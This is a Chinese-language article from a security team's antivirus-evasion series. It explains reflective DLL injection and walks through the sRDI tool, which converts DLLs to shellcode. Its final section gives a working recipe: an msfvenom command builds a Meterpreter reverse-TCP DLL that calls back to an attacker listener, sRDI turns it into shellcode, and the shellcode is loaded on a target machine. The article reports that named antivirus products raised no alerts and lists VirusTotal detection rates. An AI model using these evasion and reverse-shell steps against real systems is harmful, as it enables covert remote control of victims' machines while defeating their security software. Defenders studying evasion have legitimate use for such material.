2020年初,从网上搜集了多种免杀工具和方式,汇总整理了远控免杀专题文章的工具篇、代码篇、白名单篇等,共70篇文章。现时隔一年,计划把这个系列继续补充一些,内容也都是来自互联网,汇总到一起只是方便大家查阅参考,如有侵权请联系删除。有些免杀方式已经效果一般,但很多思路还是值得去学习的。
免杀专题已完成的文章及相关软件下载:https://github.com/TideSec/BypassAntiVirus
免杀专题在线文库:https://www.yuque.com/tidesec/bypassav
0x00 引用说明
本文内容参考节选自以下资料:
sRDI项目地址:https://github.com/monoxgas/sRDI
反射型DLL注入工具-sRDI:https://zhuanlan.zhihu.com/p/96484140
0x01 几个概念
1、DLL 注入
在认识反射型DLL注入之前,我们先来了解下什么是DLL注入。
DLL是windows平台提供的一种模块共享和重用机制,它本身不能直接独立运行,但可以被加载到其他进程中间接执行。DLL注入,是将代码插入/注入到正在运行的进程中的过程。本来是软件用于向其他程序添加/扩展功能、调试或逆向工程的一种合法技术。例如,没有它,debug 调试器就不能运行。不过,后来恶意软件也常用这种方式来干坏事,恶意软件通常采用 DLL 注入在另一进程的存储空间内伪装其操作,是一种广泛应用于恶意软件和无文件攻击中的逃避技术。
-
常规的dll注入姿势
-
VirtualAllocEx 在目标进程内存空间申请内存,WriteProcessMemory 写入dll路径,CreateRemoteThread 创建远程线程调用 LoadLibrary 加载dll; -
CreateRemoteThread 可被 替换为其他创建线程的API(例如:RtlCreateUserThread,或者挂起线程修改线程上下文再还原等等),减少被拦截的风险 -
替换程序运行时会加载的dll; -
修改注册表键值AppInit_dll,程序启动时如果加载了USER32.dll,就会自动加载该键值下的有效dll; -
SetWindowsHookEx挂钩,IAT_HOOK,InLine_HOOK等(本质也是让目标进程执行自己的代码)(x86与x64下InLine_HOOK略有不同); -
dll加载顺序挟持(Dll Search Order Hijacking);
2、反射型 DLL 注入
反射DLL注入用于将DLL加载到进程中,不需要使用LoadLibrary这一函数,而是自己来实现整个装载过程,不必将其放置在主机的文件系统上。我们可以为待注入的DLL添加一个导出函数,ReflectiveLoader,这个函数实现的功能就是装载它自身。那么我们只需要将这个DLL文件写入目标进程的虚拟空间中,然后通过DLL的导出表找到这个ReflectiveLoader并调用它,我们的任务就完成了。
-
反射DLL 注入的思路
-
打开目标进程并分配内存。 -
将 DLL 复制到分配的内存中。 -
将入口点函数名称的哈希值和该函数的所有参数复制到 DLL 之后的内存空间中。 -
复制一些引导程序的 shellcode,该 shellcode 调用带有指向在第3步中复制的数据的指针的修改的反射式加载器。 -
使用 shellcode 开头的地址作为入口点,在目标进程中创建一个远程线程。
-
反射DLL 注入的实现
-
使用 RWX 权限打开目标进程,并为 DLL 分配足够大的内存。 -
将 DLL 复制到分配的内存空间中。 -
计算 DLL 中用于执行反射加载的导出的内存偏移量。 -
使用反射性加载器函数的偏移地址作为入口,调用 CreateRemoteThread(或等效的未公开的 API 函数,如 RtlCreateUserThread)开始在远程进程中执行。 -
反射式加载器功能使用适当的 CPU 寄存器查找目标进程的进程环境块(PEB),并使用该寄存器在内存 kernel32.dll 和任何其他所需库中查找地址。 -
解析的 KERNEL32 出口目录中找到所需的 API 功能,如内存地址 LoadLibraryA,GetProcAddress和VirtualAlloc。 -
然后使用这些函数将 DLL(自身)正确加载到内存中,并调用其入口点 DllMain。
3、反射式注入与常规注入的不同
-
内存中直接展开,无需.dll文件存在;
-
反射式注入方式并没有通过LoadLibrary等API来完成DLL的装载,DLL并没有在操作系统中”注册”自己的存在,因此ProcessExplorer等软件也无法检测出进程加载了该DLL。利用解密磁盘上加密的文件、网络传输等方式避免文件落地,DLL文件可以不一定是本地文件,可来自网络等,总之将数据写到缓冲区即可。
-
由于它没有通过系统API对DLL进行装载,操作系统无从得知被注入进程装载了该DLL,所以检测软件也无法检测它。同时,由于操作流程和一般的注入方式不同,反射式DLL注入被安全软件拦截的概率也会比一般的注入方式低。
0x02 sRDI基本知识
1、关于sRDI
sRDI它可以基于 Shellcode 实现反射型 DLL 注入,并且能够将 DLL 转换为独立的 Shellcode。
项目地址:https://github.com/monoxgas/sRDI
相对于标准 RDI,使用 sRDI 的一些优点:
-
你可以转换任何 DLL为无位置依赖的 shellcode,并且可以使用标准的 shellcode 注入技术来使用它。 -
你的 DLL 中不需要写任何反射加载器代码,因为反射加载器是在 DLL 外部的 shellcode 中实现的。 -
合理使用权限,没有大量的 RWX 权限数据。 -
还可以根据选项,抹掉 PE 头特征。
2、sRDI组成
sRDI 的所有功能基于以下两个组件:
一个C语言项目,可将 PE Loader 编译为 Shellcode 转换代码负责将 DLL、RDI 和用户数据进行绑定 由以下元素组成:
-
ShellcodeRDI:编译 DLL 加载器的 Shellcode -
NativeLoader:需要时,将 DLL 转换为 shellcode,然后注入内存 -
DotNetLoader:NativeLoader 的 C# 实现 -
Python ConvertToShellcode.py:将 DLL 转换为 shellcode -
Python EncodeBlobs.py:对已编译的 sRDI 进行编码,进行静态嵌入 -
PowerShell ConvertTo-Shellcode.ps1:将 DLL 转换为 shellcode -
FunctionTest:导入 sRDI 的 C 函数,进行调试测试 -
TestDLL:示例DLL,包括两个导出函数,用于后续的加载和调用
DLL 不需要使用 RDI 进行编译,但是该技术具有交叉兼容性。
3、sRDI技术优势
-
隐秘的持久性
-
使用服务器端 Python 代码(sRDI)将 RAT 转换为 shellcode -
将 shellcode 写入注册表 -
设置计划的任务以执行基本的加载程序 DLL -
加载程序读取 shellcode 并注入(少于20行C代码)
优点:RAT 或加载器都不需要了解 RDI 或使用 RDI 进行编译。装载机可以保持小巧而简单,避免警告。
-
侧面加载
-
让你的 RAT 在内存中运行 -
编写 DLL 以执行额外的功能 -
将 DLL 转换为 shellcode(使用 sRDI)并本地注入 -
使用 GetProcAddressR 查找导出的函数 -
执行 X 次附加功能,而无需重新加载 DLL
优点:使您的初始工具更轻巧,并根据需要添加功能。加载一次 DLL 并像使用其他任何 DLL 一样使用它。
-
依赖关系
-
从磁盘读取现有的合法 API DLL -
将 DLL 转换为 shellcode(使用 sRDI)并将其加载到内存中 -
使用 GetProcAddress 查找所需的功能
优点:避免使用监视工具来检测 LoadLibrary 调用。访问 API 函数而不会泄漏信息。(WinInet,PSApi,TlHelp32,GdiPlus)
0x03 sRDI的使用
使用 python 将 DLL 转换为 shellcode
from ShellcodeRDI import *
dll = open("TestDLL_x86.dll", 'rb').read()
shellcode = ConvertToShellcode(dll)
使用 C# 加载程序将 DLL 加载到内存中
DotNetLoader.exe TestDLL_x64.dll
使用 python 脚本转换 DLL 并使用本机 EXE 加载
python ConvertToShellcode.py TestDLL_x64.dll
NativeLoader.exe TestDLL_x64.bin
使用 powershell 转换 DLL 并使用 Invoke-Shellcode 加载
Import-Module .Invoke-Shellcode.ps1
Import-Module .ConvertTo-Shellcode.ps1
Invoke-Shellcode -Shellcode (ConvertTo-Shellcode -File TestDLL_x64.dll)
0x04 编译搭建
sRDI 是使用Visual Studio 2015(v140)和 Windows SDK 8.1 构建的。python 脚本是使用 Python 3 编写的。
Python和Powershell脚本位于:
PythonConvertToShellcode.py
PowerShellConvertTo-Shellcode.ps1
构建项目后,其他二进制文件将位于:
binNativeLoader.exe
binDotNetLoader.exe
binTestDLL_<arch>.dll
binShellcodeRDI_<arch>.bin
在使用VS2017编译时,会报错MSB8020 无法找到 v140 的生成工具(平台工具集 =“v140”)。若要使用 v140 生成工具进行生成,请安装 v140 生成工具
,这是因为sRDI 是使用Visual Studio 2015(v140),而VS2017是v141,这时候需要在项目属性里设置平台工具集为v141。
然后”重新生成解决方案“
若不能解决问题,可以关闭VS,然后把工程目录下的.vs隐藏文件夹删了,再打开VS试试。
0x05 msf免杀(VT查杀率16/61)
使用Msf生成dll
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.211.55.2 lport=3333 -f dll -o shell32.dll
使用ConvertToShellcode.py
来将dll转为bin
python3 ConvertToShellcode.py shell32.dll
在目标机器使用NativeLoader.exe shell32.bin
即可加载。
火绒和360全程无报警。
而使用processhacker等工具很难发现痕迹。
NativeLoader.exe文件查杀率16/61。
shell32.bin文件查杀率13/53。
0x06 参考资料
反射型DLL注入工具-sRDI:https://zhuanlan.zhihu.com/p/96484140
反射式dll注入:https://blog.csdn.net/weixin_43956962/article/details/105843803
反射型dll注入:https://yaoyue123.github.io/2021/01/31/Windows-Reflective-dllinject/
DLL注入新姿势-反射式DLL注入研究:https://www.cnblogs.com/h2zZhou/p/7721797.html
E
N
D
关
于
我
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室。团队公众号自创建以来,共发布原创文章370余篇,自研平台达到26个,目有15个平台已开源。此外积极参加各类线上、线下CTF比赛并取得了优异的成绩。如有对安全行业感兴趣的小伙伴可以踊跃加入或关注我们。
原文始发于微信公众号(Tide安全团队):【免杀72】sRDI反射型DLL注入免杀